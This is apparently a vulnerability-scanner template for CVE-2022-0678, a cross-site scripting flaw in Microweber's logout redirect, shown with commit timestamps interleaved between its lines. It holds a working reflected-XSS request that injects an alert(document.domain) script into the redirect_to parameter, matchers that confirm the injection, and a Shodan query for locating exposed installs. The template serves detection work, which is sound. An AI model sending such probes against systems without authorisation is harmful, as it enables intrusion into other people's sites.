2022-09-14 17:19:21 +00:00
id : CVE-2022-0678
info :
2022-09-21 21:42:27 +00:00
name : Packagist <1.2.11 - Cross-Site Scripting
2022-09-14 17:19:21 +00:00
author : tess
severity : medium
description : |
2022-09-21 21:42:27 +00:00
Packagist prior to 1.2.11 contains a cross-site scripting vulnerability via microweber/microweber. User can escape the meta tag because the user doesn't escape the double-quote in the $redirectUrl parameter when logging out.
2022-09-14 17:19:21 +00:00
reference :
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0/
- https://twitter.com/CVEnew/status/1495001503249178624?s=20&t=sfABvm7oG39Fd6rG44vQWg
2022-09-15 10:31:17 +00:00
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0
2022-09-21 21:42:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0678
2022-09-15 07:28:05 +00:00
classification :
2022-09-15 10:31:17 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-15 07:28:05 +00:00
cve-id : CVE-2022-0678
2022-09-15 10:31:17 +00:00
cwe-id : CWE-79
2022-09-14 17:19:21 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-09-14 17:19:21 +00:00
shodan-query : http.favicon.hash:780351152
2022-09-15 10:31:17 +00:00
verified : "true"
tags : huntr,cve,cve2022,xss,microweber
2022-09-14 17:19:21 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-14 17:19:21 +00:00
- method : GET
path :
2022-09-15 07:28:05 +00:00
- '{{BaseURL}}/demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-09-14 17:19:21 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-15 07:28:05 +00:00
- '><script>alert(document.domain)</script>'
- 'content="Microweber"'
2022-09-14 17:19:21 +00:00
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 404
2022-09-21 21:42:27 +00:00
# Enhanced by md on 2022/09/19